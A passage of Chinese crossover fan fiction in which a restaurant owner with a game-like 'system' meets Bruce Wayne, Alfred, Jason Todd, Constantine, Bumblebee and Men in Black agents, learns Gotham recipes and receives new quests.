他从车尾箱里拿出盒子，这是之前潘尼沃斯提到的红茶和文森特做的甜品：“早上好，潘尼沃斯。”
他昨晚给潘尼沃斯发了信息，询问是否可以咨询一下关于哥谭的美食，没想到潘尼沃斯迅速给了同意的答复。
“早安，科顿先生。”潘尼沃斯接下礼盒，礼貌地把人带到了会客厅，“麻烦您稍等一会儿，我先把东西放到厨房。”
文森特站在主楼的会客厅里，环顾四周，各式各样的艺术品和书籍彰显着这个家族的底蕴，他的目光被一副温馨的家庭合影所吸引，照片中的一家三口洋溢着幸福的笑容，只看照片也能感受到当年的温情。
“阿尔弗雷德！”一声低沉的呼唤从楼梯处传来，带着明显的急切：“车库钥匙怎么不在它的位置上？”
文森特转头，就看到了传说中的布鲁斯·韦恩。
哥谭的亿万富翁，花花公子，所有人都爱的哥谭甜心，慈善家，热心公共事业的公众人物。
布鲁斯和他平时的无可挑剔的形象大相径庭，他的脸上带着明显的淤青，动作也有些迟缓，看起来像是身上也有伤痕。
“哦天，抱歉，我都忘记了阿福今天邀请了客人。”布鲁斯的声音带着笑意，尽管他的表情因为疼痛而显得有些僵硬。
“科顿先生早上好啊，阿福从英国回来之后就对您店里的甜品赞不绝口，我试过曲奇，味道倒是不错，就是甜度欠佳。”
“早，韦恩先生，”文森特礼貌地回应，他的目光在布鲁斯的脸上停留了一会儿，布鲁斯看起来十分疲惫，彷佛在电脑前面坐了一整晚查询资料一样，“非常感谢您的喜欢。”
“科顿先生，”布鲁斯顿了顿，他左右张望了一下，像在躲着什么人似的轻声问道：“门口的摩托是您的吗？”
文森特点点头，对面的布鲁斯眼睛一亮。
“布鲁斯少爷，钥匙我收起来了。”潘尼沃斯端着一壶茶走了进来，看到衣衫整齐的布鲁斯，他眉头一皱：“您要出门？您应该没忘记在您的还没有完全恢复之前，我是不会给您提供交通设施的这件事吧。”
布鲁斯表情只僵了几秒，但是很快就恢复了镇定，他转向潘尼沃斯双手摊开：“是市长找我，你知道的，有慈善基金会的业务嘛。”*
“我想卢修斯就可以处理这件事了，您现在需要休息。”
布鲁斯的目光四处游荡，趁着潘尼沃斯俯身放下茶壶的瞬间，他像只黑猫一样，悄无声息地从一楼会客室的窗户跳了出去。
他的动作果断而又迅速，不停歇地直接跨在门口的黑色的摩托车上，他的手指轻轻扭动带着蝙蝠标志的钥匙。
“科顿先生，很抱歉不能和您多聊几句，麻烦您多和阿尔弗雷德聊聊天。”布鲁斯的声音从窗外传来。
“别担心，我会回来吃午餐的！”他补充道，紧接着立刻扭动油门，摩托车的引擎发出低沉的轰鸣声，紧接着只剩下尾气飘散在两人面前。
“哇哦，这车不错，一会儿办完事开到韦恩科技让卢修斯参考一下。”布鲁斯心想。
文森特看着远去的摩托车尾气陷入了沉思。
如果这位哥谭宝贝骑车受了什么伤不会找自己赔钱吧？
这钱能让蝙蝠螨出吗？
蝙蝠侠会不会因为他的金主受伤来找啊？
一旁的潘尼沃斯无奈地摇了摇头，眼神里透露出对布鲁斯的担忧，因为他清楚地知道布鲁斯要去干什么，但是他没法阻止战士为了事业战斗，他决定下次给布鲁斯擦伤口的时候用最疼的药。
“抱歉科顿先生，他有点冲动了，如果您急着用车车库里的车可以随意挑选。”
文森特赶紧挥手拒绝，他只希望这位哥谭宝贝别出事，至少别是因为他的摩托车出事。
“好了，我们来说正事吧？”潘尼沃斯清了清嗓子坐在了另一个位置上，“我看您的意思是想要了解一些哥谭的本地菜谱？”
“对，我的餐厅几天之后有个预约，客人没说想吃什么，只说了他是哥谭人，想要点家乡味道，”说到这里文森特抿了下嘴，努力露出一个笑容，“您也知道，我对哥谭传统美食不算了解，思来想去只能来询问您了。”
“哥谭传统美食啊。”潘尼沃斯沉吟道。“正好厨房有材料，不如我们去试试看？”
中年管家看起来深谙此道，文森特被管家的话勾起了好奇心，他兴致勃勃地跟着潘尼沃斯从会客厅移动到了厨房。
文森特打量了一下厨房，不由得心生感慨：宽敞明亮的环境，各种新鲜水果蔬菜一应俱全，自己整个餐厅也不过是韦恩主楼的餐厅大小。
万恶的有钱人。文森特决定仇富一秒钟。
在外面查案的青年蝙蝠侠轻咳一声，差点惊动了下面交易的□□成员，幸好有只猫咪吸引了他们的注意力。
……
“所以哥谭的传统美食也就是刚才那几样，”潘尼沃斯仔细地冲洗掉手上的油渍，他的语气中透露出对哥谭餐饮界的无奈，也有对家乡风味的怀念。
“其实也可以尝试一下英国菜。”潘尼沃斯推荐到，“毕竟都是坐五月花号来的美洲大陆，最传统的食物还是英国美食。”
比如死不瞑目的鱼吗？文森特忍不住打了个寒颤，他退后一步委婉地谢绝了英国管家潘尼沃斯的好意：“听起来倒是不错，但是客人有指定口味了。”
潘尼沃斯理解地也没再追问，他转身从橱柜里取出一套茶壶：“尝尝看，这是经典的哥谭口味，只不过这里面的材料现在已经十分罕见了。”
潘尼沃斯的声音渐渐低沉，他的眼神似乎穿越了时空，回到了过去。“这是托马斯老爷和玛丽……”他的话语突然中断，似乎触及了某些不愿提及的回忆。
文森特在查资料的时候也查到过当年犯罪巷里的那场惨案。
托马斯韦恩，玛丽韦恩，以及他们的儿子布鲁斯·韦恩……以及这些名字背后的故事。
他没有追问，只是低头品了一口杯中的饮品，顿
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时眼睛就亮了起来。这份红茶深邃又简单，让人回味无穷。他们做好的食物香气正随着烤炉的升温逐渐包裹住整个厨房。
【解锁美食-韦恩家的红茶】
你已经掌握了韦恩家标志性的红茶配方，这个配方将成为你未来的一张王牌。
【解锁美食-哥谭美食】
潘尼沃斯对于哥谭知之甚多，地道的风味和秘方会为你的餐厅带来更多哥谭的客人。
奖励：1000*2
潘尼沃斯静静地坐在餐桌旁品味着红茶，
随着烤箱计时器发出叮的一声脆响，他们之前精心准备的美味佳肴已然出炉，调料的香气充斥着整个房间。
文森特看了一眼墙上的手中，时针已经指向了十二点，布鲁斯还是没有回来，潘尼沃斯看起来到没有很担心，只是留出了布鲁斯的分量。
用餐结束之后，潘尼沃斯细心地为文森特打包了一份美食，然后开车把文森特送到了巷子口。
“摩托车到时候送到什么地址？”潘尼沃斯把包装精美的食盒递给文森特。
文森特沉默了一下：“没事，下次再拜访的时候我再开走就行。”
大少爷您可千万别出事啊！
——
午后-哥谭-韦恩庄园
迪克、神谕和杰森找了一上午的摩托，从海里找到废车场，连个零件都没看到，就像是这辆车被扔到了外太空。
说到外太空他甚至还联系了一下今天在执勤的闪电侠，。
沃利很贴心地告诉好友：“外太空也没有蝙蝠摩托车的信号。”
神谕在通讯那头叹了口气：“这车总不能穿越了吧。”
“一切皆有可能，”迪克的嘴角挂着完美的笑容，但是他的眼里是淡淡的死意。
找了一上午车的迪克灰溜溜把车开回了韦恩庄园。
什么？为什么只有迪克？因为就在刚才，找了一圈什么零件都没找到的两人准备打道回府之时，杰森非常“巧合”地接到了一个电话：
“你好，这里是头罩，阿尔忒梅斯？你说比扎罗又闹出乱子了？行，我马上就去。”
杰森扭头看向迪克，摊开双手，一副“你看，我不是故意要离开”的表情。
“你以为我会信吗？”迪克冷冷地说，手指吱吱作响。
“你以为我不会让这件事变成真的吗？”杰森倒是一脸无所谓地倚在座椅上，他才不怕这点小事呢，只不过自己的队友找自己，自己只能先处理这些事情了。
迪克只能孤身一人小心翼翼地把车开回庄园，只想着赶紧放下车就回布鲁德海文，最近两个月不踏足哥谭的地界。
但是墨菲定律说过，如果这件事情你不想让它发生，那么它就一定会发生。
迪克一进庄园大门就撞上了阿尔弗雷德。
“迪克少爷你回来了？蝙蝠摩托车……”阿尔弗雷德的话还没说完，迪克就感觉到了一阵头疼。他现在说泰坦也有事找他还来得及吗？
“迪克，你怎么把车停在门口？”提姆揉了揉眼睛，看起来刚从睡梦中醒来，“阿福，摩托在蝙蝠洞，我刚从蝙蝠洞回来。”
神谕的声音也通过微型耳机传到了迪克耳朵里：“定位器重新出现了，现在的位置是……”
“蝙蝠洞。”迪克回答道。
DAMN IT.
21.第 21 章
康斯坦丁是被阳光吵醒的，文森特走得时候没有拉窗帘，阳光毫不客气地叫醒了这位不速之客。
他翻了个身把头埋进柔软的大床里面，脑海里还回荡着昨天初堕者的话。
在意的人啊……
康斯坦丁放弃了继续睡觉的念头，他摇了摇头试图摆脱那些混乱的思维，但各种思绪在脑海里挥之不去，康斯坦丁干脆利落地坐了起来，开始思考着这家奇妙的餐厅和它的主人。
据他这几个小时的观察，这位老板怎么看都不像是那些能够穿梭于不同维度、操纵时空的神秘五维生物。
文森特给人的感觉更像是一个普普通通的人类，甚至在对魔法的感知上，他似乎还不如一些对魔法稍有了解的普通人，完全不像他们口里的五维生物。
不过，康斯坦丁不得不承认，文森特的厨艺确实不错，至少在满足味蕾这方面，他是个天才。
“完全就是科学侧的人嘛。”康斯坦丁自言自语地从床上爬起来，套上他那件皱皱巴巴的风衣。他决定回家翻翻那些魔法书，那些沉甸甸的大部头里或许能提供一些关于五维生物的线索，或者是对付初堕者的策略。
毕竟没人想要下地狱。
康斯坦丁环顾四周，这里是文森特的的私人空间，干净整洁的像是某些高档酒店的样板间，只不过没有任何生活痕迹，彷佛这里从来没有人居住过。
康斯坦丁猛地一下拉开了衣柜门，期待中的衣服和杂物并没有出现，只有几个孤零零的衣架在衣柜里晃悠。
他皱起眉头，连根头发都看不到，这里真的有人住吗？
要不是他昨晚和文森特睡了整整一晚，康斯坦丁都要怀疑着这地方是不是文森特为了应对突发事件准备的临时房间了。
他甚至俯身检查了床底，连床底都是崭新的、一尘不染。
没有听说五维生物还有洁癖的。
康斯坦丁放弃了进一步搜索，屋外的桌子上摆着一份已经凉透了早餐，旁边还有一张卡片：
提供收费早餐。——文森特。
康斯坦丁全当看不到，拿着三明治和咖啡就出了门。
伦敦的天气向来阴晴不定，今天也不例外。细密的雨线将空气染上了湿气，康斯坦丁深吸了一口带着雨意的空气，感觉精神一振。他收紧了风衣，踏入了雨幕。
当他回家的时候，裤子已经湿了大半，康斯坦丁忍不住咒骂了一句：“这狗X的天气”，然后朝天空比了个巨大的中指。
等他翻过吱嘎作响的楼梯，把自己摔进沙发里之后他才满足地叹息了一声。
魔法书在手边堆得高高的，看完的书被扔了一地，但是康斯坦丁仍然是头绪全无。
他看了刊手机，拨出了那个烂熟于心但却许久没有打过的号码，刚按下通话键他就后悔了，但还没来得及挂断，电话被接通了。
“你好，这里是扎塔娜，有什么事情吗？”对面是嘈杂的背景音，好像在庆祝什么。
“是我，康斯坦丁。”他的声音带着一丝不确定。
“抱歉，我刚结束表演，”扎塔娜换了个安静的地方：“怎么了约翰，你又得罪谁了？”
康斯坦丁挑了挑眉，尽管他也知道扎塔娜看不到：“怎么？在你眼里我就一个会带来麻烦的人吗？”
“不，”扎塔娜毫不客气地表示了反对，“在我眼里你就是麻烦本身，所以到底怎么了？”
扎塔娜头顶突然升起了一个巨大的眼花，把康斯坦丁的话语淹没在了巨响中。
“……就是这样。”康斯坦丁在烟花声中提高了音量。
“该死，止禁音声，止防听窃。”两个反语魔法从她口中迅速念出，隔绝了外界的噪音。
“初堕者你知道吗？”康斯坦丁尽量用轻松的语气说到。
“地狱那位？”扎塔娜的声音立刻变得严肃起来。“你疯了吗？也对，你就没正常过。”
康斯坦丁往沙发里缩了缩：“小扎你知道的，我可能真遇到大麻烦了。”
电话那头沉默了一会儿，然后扎塔娜的声音再次响起：“最后一次，约翰，我发誓。告诉我你需要什么。”
康斯坦丁：“不知道。”
扎塔娜直接挂断了电话，她再也不想和这个男人说一句话了。
几分钟后，一只信鸽扑扇着翅膀飞入了房间，打破了室内的寂静。康斯坦丁看着这只不寻常的信使，这是扎塔娜的风格——即使在科技发达的今天，她依然偏爱这些有趣的通信方式。
信鸽脚上绑着一个小小的纸条，上面扎塔娜的字迹甚至能看出几分暴躁：“需要再找我，约翰。”黑色的字迹力透纸背。
“我的好姑娘。”
康斯坦丁的手指从书架上那些古老的魔法书上划过，最终停在了一本破烂不堪，彷佛多碰一下就要散架的书上。
这是本来自十个世纪之前炼金术士留下的手记，里面记载了不少地狱和维度旅行的知识，在过去，康斯坦丁总是把它当作奇异故事集来阅读，对里面的内容半信半疑，而现在，他开始认真对待起了这些记载的内容。
手记的内容杂乱无章，笔者想到哪里就写到哪里，各种不同维度故事和恶魔交替上演，康斯坦丁的视线在密密麻麻的文字间游走，寻找着任何可能与初堕者有关的消息。
“初堕者和五维生物……”康斯坦丁的手指在书页上轻敲，“也许可以从那家店下手啊。”
康斯坦丁刷的一下合上书页，眼里是兴奋的光芒。
——
文森特提着潘尼沃斯给他准备的礼盒，刚一走进巷口，他就注意到康斯坦丁正站在自己的店门口，似乎被什么人堵住了进不去。
烟雾从康斯坦丁指间袅袅升起，他的声音中透出明显不耐烦的意味：“小子，我一般不打小孩，别挡路我要回去睡觉。”
“我才不信呢。”一个听起来像是少年的声音回应道，文森特心头一紧，快步走上前去。“这家店老板才不长你这样呢”
杰森正站在店门口，双臂交叉在胸前，瞪着康斯坦丁，一副坚决不让他进去的样子。文森特看到这样的杰森，心中涌起一股暖流，但还没来得及感动，就听到杰森继续说：
“而且老板穷的天花板上的洞都没钱补，哪里有钱雇佣你这种一看就好吃懒做的人！”
康斯
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坦丁沉默了。
文森特也沉默了。
整个小巷一时间只有风吹过的声音，似乎连风都在等待这场对峙的下一步发展。
杰森眼尖地看到了巷子口的文森特，他立刻冲上前去站在文森特身前，小声说：“老板这不是你的员工吧。”
文森特轻声回答：“不是……”
“那就好，我刚来的时候就看到了这个人在这附近鬼鬼祟祟的想要进来，半天没进来还想找个棍子把门撬开。”
杰森立刻得意起来，他转向康斯坦丁，声音中胜利者的愉悦：“我就说他请不起员工吧，快走吧，你这个冒牌货！小心我找警察来把你赶走”杰森朝着空气挥舞了几下拳头，彷佛在驱赶一只烦人的苍蝇。
康斯坦丁看都没看只到胸口的杰森，朝文森特挑了挑眉毛，调侃道：“你在这孩子眼里就是这种形象？”接着完全不等文森特回答就自说自话起来：“不过说实话，我和这孩子看法一样。”
“还有，我没打算撬门，”康斯坦丁补充道，“我只是想回来休息一下。”
文森特假笑地看着康斯坦丁，他现在不想说任何话，他觉得自己膝盖中了一箭，只能拉着杰森推开门进了餐厅，进门的时候狠狠关上了门。
“哇哦，”杰森一进门就发出了惊叹，他环顾四周，看着室内的新变化，“你重新装修了啊。”
但当杰森仰头看到了那张熟悉的海报，以及海报后面那个依然存在的洞时，他的声音戛然而止，“那个洞怎么还在这里？”
文森特尴尬地咳嗽了一声，只能采用了蝙蝠螨的说法：“这是我们店的特色，一个天花板上的洞，”他比划着，“是个性，你理解吗？”
杰森不理解，但是他尊重老板的想法。
康斯坦丁被文森特的关门撞倒了额头，他进来的时候呲牙咧嘴地揉着额头：“文森特，你这是要谋杀吗？”他抱怨道，但语气中并没有真正的怒气。
“放心，你至少能活到十年后。”文森特给自己冲了一壶从韦恩庄园带回来的红茶。
“借您吉言了。”康斯坦丁没当真，就按照他自己前段时间去医院的体检结果，别说活十年，再活十个月怕是也困难。
杰森看着康斯坦丁和文森特之间的互动，眼中透出一丝好奇。他看看康斯坦丁，又看看文森特，试探性地问道：“你俩看起来很熟的样子？”
“不熟。”两个人异口同声。
杰森有些犹豫，他在寻找一个合适的解释来理解眼前的情景，思考了一会儿，他继续问：“他是你对象吗？”
文森特把口里的红茶喷了对面的康斯坦丁一脸。
“老板，我刚洗完澡。”康斯坦丁用大衣擦了擦脸上的水。
文森特觉得自己不能让杰森再猜下去了，于是他干脆直接问道：“我俩什么关系都没有。”
“等等，还是有的，”康斯坦丁插话道：“我是你上帝。”
“对不起，我现在改名叫尼采了。”
听到这段对话的杰森笑出了声，看着两人都不好的表情立刻转移了话题：“那个老板我来是听查莉说她把车卖给了，我是来看车的。”
22.第 22 章
杰森刚听到查莉的消息就急匆匆地来到了文森特的店门口，来之前他还想着自己还没找到合适的轮胎，关于查莉那句“那辆车现在很新”的话语被他选择性的忽视了。
一辆之前是战损成色活像是刚经历了一场大战的二手甲壳虫能新到那里去呢？
没想到刚到店门口，杰森只看到了康斯坦丁鬼鬼祟祟的身影，至于车，连车轮胎的影子他也没看到。
“老板你把车停哪里了？”杰森问道，他之前围着周边转了好几圈，都没有看到那抹熟悉的黄色。
他四下打量着，寻找着可能藏车的地方，“你总不可能把车藏地底下吧？”杰森开了个玩笑，就看到老板嘴角勾起点了点头。
“骗人的吧！”
“走吧，带你看看餐厅的地下世界。”文森特带着杰森来到了店门口，杰森只看到老板不知道碰了什么地方，一道斜坡缓缓出现在他们面前，里面是看不透的地下世界。
杰森看文森特的眼神都不对了，他不敢相信眼前的景象，甚至有一瞬间他还以为会在下面看到一整个蝙蝠洞。
在小巷子里的神秘地下车库出现一辆蝙蝠车这不是很合理的事情吗，这位老板就是传说中的蝙蝠侠？
杰森边想边警惕又兴奋地跟着文森特走下了斜坡。
那是一个巨大的地下空间，仿佛有人在此挖掘了一个防空洞。整个地下车库空旷得惊人，那辆几乎全新的黄色甲壳虫成为了唯一的色彩，它在昏暗的灯光下闪闪发光，仿佛是这个隐秘世界中的一盏耀眼的黄太阳灯。
“它为什么这么新！”杰森的声音中充满了错愕和不可思议，他看着眼前的甲壳虫，“这不是查莉那辆吧。”
大黄蜂听到夸奖大灯自发地亮了起来，惊得文森特一身冷汗，他真的很担心如果大黄蜂突然站起来了自己要在怎么圆，幸好大黄蜂看起来没什么想要站起来展示身姿的意思。
但还是让文森特立刻打开系统开始搜索“不伤害人却能让人失忆的东西”，系统是全能的，东西确实有，但是价格上那一连串的零让文森特觉得：就算是杰森知道了真相也无所谓，毕竟他只是个孩子，还能怎么样呢。
他立刻关闭了系统，关掉了几乎令他心跳骤停的系统价格页面。
杰森走近了一些，他仔细观察着车的每一个细节，他的每一个动作都让文森特看的心惊胆战，生怕他看出什么端倪。
“它看起来就像是刚从展厅里开出来，”杰森感叹道，“你和查莉怎么做到的？”
文森特没说话，他也不能告诉杰森：查莉和我其实什么都没做，全靠车自己优秀吧。他只能微笑，文森特故作神秘地耸了耸肩，让杰森自己去想象。
“好吧，你们俩肯定有什么秘密。”杰森笑着说，他围着甲壳虫转了一圈又一圈，仿佛在欣赏一件艺术品。
文森特趁机转移话题，他拉开车门：“想不想试试看？”
杰森咬了咬嘴唇，内心挣扎了一下，最终还是摇了摇头：“不了，文森特，”他的声音中带着一丝歉意，“我只是来看有没有什么我能帮忙的地方。现在看来，我似乎帮不上什么忙。”
杰森尽量让自己看起来不那么沮丧：“好吧，也许下次我能帮上忙。”
这段时间他接受了不少来自查莉和文森特的照顾，本来以为有机会能报答他们，结果也没能找到合适的机会。
“使用童工可是犯法的。” 康斯坦丁不知道从哪里冒出来，冷不丁地来了这么一句，打破了沉重的气氛。
“如果我不给钱就不算使用童工了吧。”文森特冷静地怼了回去。
“哇哦，杰森你看，老板好资本家一人啊。”康斯坦丁低声轻笑，语调里满是戏谑。
“资本家至少管饭吧。”杰森也跟着笑了起来，加入了打趣的行列：“老板可是连饭都不管。”
“管饭这没问题，”文森特一口答应了下来，“我今天去学了新菜正好给你们尝尝。”
文森特的提议让气氛轻松了不少，杰森的心情也好了不少。
“有人吗？”一个陌生的声音从楼上传来。
有客人来了。
“菜我就不吃了，”杰森看了一眼天花板，“老板你先去欢迎客人吧，下次来我可要大吃一顿。”
“好。”
文森特迅速从后面的楼梯跑了上去。客人正随意地站在门口，嘴里叼着香烟，穿着一身粗犷的格纹西装，墨镜随意地架在脸上，看着就十分凶狠，像是所有像在哥谭闯出名声的人一样。
“你好，我是科顿，这家餐厅的老板。”文森特笑着补充道，“抱歉我们店里禁止吸烟。”
对面的男人操着一口浓重的北泽西口音，声音里满是自信：“我是马龙，”他把嘴里的烟头扔到屋外，动作中透出不拘小节的豪迈，“朋友们习惯叫我火柴，一杯啤酒，谢谢”
火柴马龙打量着店，似乎在寻找着合适的词汇来形容这家小店，头顶的超人海报几乎要掉到他头上，好听一点是复古和个性，难听一点是简陋：“看不出来这种地方还有……”
“还有什么？”文森特好奇的追问，手里打酒的动作没有停下，一杯漂亮的琥珀色液体被递了过去，酒面上是细腻的泡沫。
“还有这么有意思的装饰，我还以为只有大都会的酒吧才会有超人装饰。”火柴马龙摘下了墨镜，墨镜后面是一双文森特没想到的黑色眼睛，深邃的彷佛能吸进整个宇宙。
“你不觉得超人很厉害吗？”
火柴冷笑一声，这声冷笑让文森特听到了一丝不属于北泽西的口音，但是很快就被马龙的话掩饰了过去：“毕竟这里可是哥谭。”
“也是，你们都喜欢蝙蝠装饰。”文森特在吧台后面问道，“马龙先生要来点什么？”
“不了，”被蝙蝠装饰噎了一下的火柴马龙摇摇头，“我是来等人的。”
布鲁斯·韦恩已经观察了这
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里的黑/帮分子好几周了，单数日每晚这群人都会有药品交易，可惜他至今也没发现这群人背后的靠山是谁。他知道要想揭开这个谜团，他需要更多的信息和证据。
幸运的是，他不止蝙蝠侠这个一个身份，火柴马龙这个身份在当下这一时间格外好用，布鲁斯从口袋里拿出变装道具一顿折腾，再出现就已经是哥谭里大名鼎鼎的倒霉蛋“火柴马龙”——甚至还有人怀疑他的警方的线人。
布鲁斯·韦恩确信，这条小巷在他记忆中是一片荒芜，只有那堵破败的红砖墙和死胡同，以及背后那条充斥着罪恶的阴暗巷子。
然而现在这里却不可思议地出现了一家风格独特的餐厅。他推开门，店内空荡荡的，但桌上还冒着热气的红茶和后厨那些未拆封的包裹表明，店内的人并未离去太久。
布鲁斯的目光在店内扫过，虽然装饰简单，但清洁工作却做得无可挑剔，唯一不平常的是这家店突然出现在地图上，就像是一张白纸上突兀的墨迹，让人不禁好奇它的来历。
布鲁斯的手指灵巧地在椅子下摸索，他顺手将□□粘在了椅子的阴影处，这是他的一贯作风——有备无患。
文森特从暗门出来的时候布鲁斯的大脑在疯狂转动，这张脸实在是太有辨识度了。
潘尼沃斯的忘年交，布鲁斯自己还拿了他的摩托车也没还给他。
想到那辆在蝙蝠洞里的摩托车，布鲁斯的手指无意识地握紧了手中的酒杯。那辆摩托车的性能出色，是他夜间行动中的得力助手，他的不少交通工具都采用了这辆摩托的风格。
但他清楚记得，那辆摩托车是八年前的事情，眼前的这位老板，竟然与记忆中的模样一模一样，仿佛时间在他身上没有留下任何痕迹。
异常的情况让布鲁斯的警觉性飙升，但是身上的魔法检测工具没有任何异样，火柴马龙只能自然地留下小费走到门口，像是所有路过想喝一杯的人一样。
时间缓缓指向六点，深秋的哥谭这个时间天色已经暗了下来，这群罪犯像往常一样出现在小巷里进行交易，但是没有一个人看向这家夜色里的店，像是这里只是之前的一堵墙一样。
这对于布鲁斯来说再好不过了，他离开的时候还不忘和在后厨做菜的老板打个招呼，他成功地利用了店的隐蔽效果抓到了几个还能说话的人。
这群人也不是什么硬骨头，往滴水兽上一钓就什么都招了。
布鲁斯把人随意地丢下两层高的小楼，随后利用绳钩枪一跃而下，轻盈地落在自己的蝙蝠车旁。
原本威风凛凛的蝙蝠车此刻却显得有些狼狈——只剩下一个轮子孤零零地支撑着车身，其他三个轮胎被堆在一旁。一个看上去年纪不大的小男孩，正拿着扳手，专注地与最后一个轮胎较劲。
看到传闻中的车主出现的时候，男孩蓝色的眼睛里出现了一丝呆愣。
蝙蝠侠竟然真的存在啊。这是杰森昏迷之前的最后一个念头。
23.第 23 章
随着火柴马龙的身影消失在门外，餐厅里又恢复了往日的宁静，收音机里播放着来自星球日报的报道。
“你好，我是路易斯·莱恩，现在是来自大都会的现场报道，大都会著名企业家莱克斯卢瑟的科技展将于今晚拉开帷幕……”
文森特习惯于听点什么打发时间，他站在吧台后面，正在根据潘尼沃斯提供的配方重新配置这款红茶。
文森特不时在系统中添加着需要的材料，购物车里的材料渐渐增多，全选之后一个面目可憎的价格出现在文森特眼前，和他可怜的余额形成了鲜明的对比。
文森特关上系统页面闭上眼睛深呼吸一口气，他觉得自己还是去集市上赌赌运气，哥谭集市没有说不定大都会或者海滨城集市会有呢，说不定呢。
餐厅里安静地像是只有他一个人。
等等，一个人？康斯坦丁人呢？
文森特的脖子一卡一卡地僵硬移动，他突然想起来一件事：康斯坦丁没有跟着自己上来，而是留在了下面的地下车库里。
文森特心里涌起一股不安，他快步穿过空空荡荡的餐厅，沿着狭窄的楼梯迅速来到地下车库。
这份不安在他看到变形之后的大黄蜂时达到了顶点。
康斯坦丁正反坐在椅子上，一副悠然自得的样子，彷佛正在地中海的沙滩上度假，反而是可怜的小甲壳虫车站在一旁，显得有些不安。
文森特还没来得及说话，康斯坦丁先开了口，他转头看着从上面跑下来气还没喘匀的老板摊开手，“我只是在和新朋友交流一下感情，别这么紧张，我又不会拆了他。”
文森特松了一口气，轻声问道：“感觉怎么样？查莉和我都觉得不能把你留在那里。”
大黄蜂发出滋滋的电流音，他的音箱好像出了点问题，所有的言语以歌词的形式出现在对话里：“谢谢你帮助我。”
与此同时，楼上的餐厅里，原本在吧台上播放新闻的收音机的磁带仓突然自行摊开，一卷红黑相间的磁带从里面弹出，迅速变成了激光鸟。
激光鸟一出现就娴熟地绕着整座餐厅飞翔，它的动作轻快又敏捷，红色的激光扫描着餐厅的每个角落，布鲁斯贴在椅子下面的追踪器被它轻而易举地发现，优雅地丢在桌子上。
布鲁斯的追踪器和早就被发现的提姆的追踪器并排放在一起，仿佛是一对等待检阅的士兵。激光鸟歪了歪头，似乎在思考着什么，然后它直接将两枚追踪器吞了下去，追踪器在它身体里迅速变成零件。
在不同时段的韦恩庄园，两个人的追踪器同时失去了作用，只剩下吱吱啦啦的杂音。
随即，激光鸟沿着文森特没关上的门飞了下去，它收起双翼，悄无声息地把自己隐藏在在地下车库的黑暗空间里面，像是潜伏的猎手，静静监视着自己的猎物。
大黄蜂正在和两人解释自己的经历。文森特试图总结大黄蜂的情况。
“所以你有一个任务？”他问道。
大黄蜂点点头。
“但是因为你落下来的时候遇到了敌对势力的打击，所以你也记不清这个任务了？”康斯坦丁补充道。
“是的。”大黄蜂诉说的歌曲转为了焦虑和不安，他深知自己肩负着重要的使命，但是记忆的缺失让他无法完成完成任务，深深无力感一直侵蚀着他，让他分外沮丧。
文森特拍了拍重新变回甲壳虫的大黄蜂，他的外壳看起来有些发暗，大灯也没有之前穿梭在车流中的亮度，看上去饱经打击：“没关系的大黄蜂，你可以现在我这里养伤。”
激光鸟清楚地记录下了他们的对话，它的传感器捕捉到了每一个字眼，每一个细微的语气变化。
当对话的内容逐渐转向无用的安慰时，激光鸟意识到了信息的价值已经耗尽，它必须尽快回到自己的主人身边。
但它少听到了一句：“但我记得还有一位狂派的变形金刚也来到了地球，他还是一位异能者，但是我不记得他是谁了。”
就在大黄蜂说完的瞬间，一连串新任务弹了出来。
【寻找霸天虎】【寻忆
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之旅】
第一个任务系统甚至非常贴心的给了地图指引，文森特看到地图的瞬间就觉得这辈子有了，因为这个红点和他的餐厅完美重合。
呃，其实餐厅是霸天虎的……基地金刚吗？
文森特掐了下自己的胳膊，但是系统没有给这个念头任何回应，看起来想法有误啊。
激光鸟只是优雅地展开它的金属翅膀，悄无声息地飞回了吧台上方的收音机内部。
收音机发出了轻微的“咔嗒”声，仿佛是在欢迎它的归来。紧接着，几枚小巧精致的齿轮从磁带仓里滑出，那是追踪器的内容核心部件。
大黄蜂的能量不足，现在变回了甲壳虫的外型积蓄能量。原始的车形态可以减少能量的消耗，让他在休息时能够更有效地恢复。
文森特轻轻地拍拍大黄蜂的外壳，感受到了车身下传来的微弱震动，仿佛是在回应他的安慰。
文森特和康斯坦丁上了楼，两人的脚步声和谈话声在楼梯上回响。
康斯坦丁：“他们和人类生命形态不同。”魔法火焰在角落一闪而过。“化石燃料的能量应该不足以让他恢复。”
文森特没有回应，系统里最小的能量块价格都不是他能高攀的起的，高纯度的能量结晶可不是便宜货。
康斯坦丁也没再追问，店里还是一个人也没有，吧台上的两枚齿轮被文森特随意地扫进了抽屉，那里已经有了一抽屉齿轮了。
“你开店是为什么啊？”康斯坦丁倚在吧台上专注地看着他，他纯黑的眼眸带着一种动人的魔力，仿佛能够洞察人心，让人不由自主地想要向他倾诉内心的想法：“你看一天来不了几个人，开这个店有什么意思啊。”
“因为想要……”回家。
“老板，现在还在营业吗？”一道声音突然打断了文森特的话，他如梦初醒。
康斯坦丁轻啧了一声，他熟门熟路地给自己倒了杯啤酒，缩在角落里手里拿着不知道什么时候出现的魔法书，彷佛周围的一切和他无关。
——
24.第 24 章
“J——” K的声音带着责备，但在J听起来却更像是种习惯性的提醒。
“老古板，大不了就晃一下，别以为我不知道你干了多少这种事情。”J不在乎的说道。
餐厅里食物的香气混合着轻松的氛围，让J和K在忙碌了一整天之后找到了一丝慰藉，毕竟不是谁都能冷静理智接受一架飞机突然变成了金属生物，哪怕是专业的黑超特警也需要缓冲期。
J瞅了一眼安静吃饭的K，主动开口道：“所以你早就知道哪架飞机才是我们要找的外星人了？”
K抬起头：“如果你能多认真看看内部的通讯信息，你的胳膊可能不会碎的这么严重。”
“好吧，下次我会注意的。不过说真的，K，”J边吃边说，“你是怎么确定的？那架飞机看起来和其他的没什么区别。”
“也许是上面的标志格格不入吧，”K放下手里的刀叉思考道，“而且它的飞行模式最为异常不是吗？”
“也是，你说我们能不能问他们的领袖参考一下汽车的相关工艺，我受够我们那辆破车了，简直就是一坨。”
“你得去找Z申请资金。”K无情地打断了J的美梦。
“赛博坦飞机？”文森特听到了两人的谈话，不由得有点好奇，而且这两人用代号称呼，文森特觉得自己大脑里绝对有相关记忆，某个代号称呼的科幻电影？是不是还有管理外星人来着？
K刚想说什么就被J手里的记忆清除笔堵了回去，只能无奈地叹了口气。
“是啊，能变成巨型机器人的飞机，”J思考了一下，他试图用一个更通俗的比喻来解释，“你知道日本的高达吗？有点像是那个。”
“这可是前两天哥谭市郊医院的大新闻，你不知道这件事情吗？”J反问道。
“有听说过，但新闻不是有说那是拍电影的吗？”康斯坦丁终于把脑袋从书后面探了出来。
文森特随手在系统里记下了“哥谭市郊”的关键词。
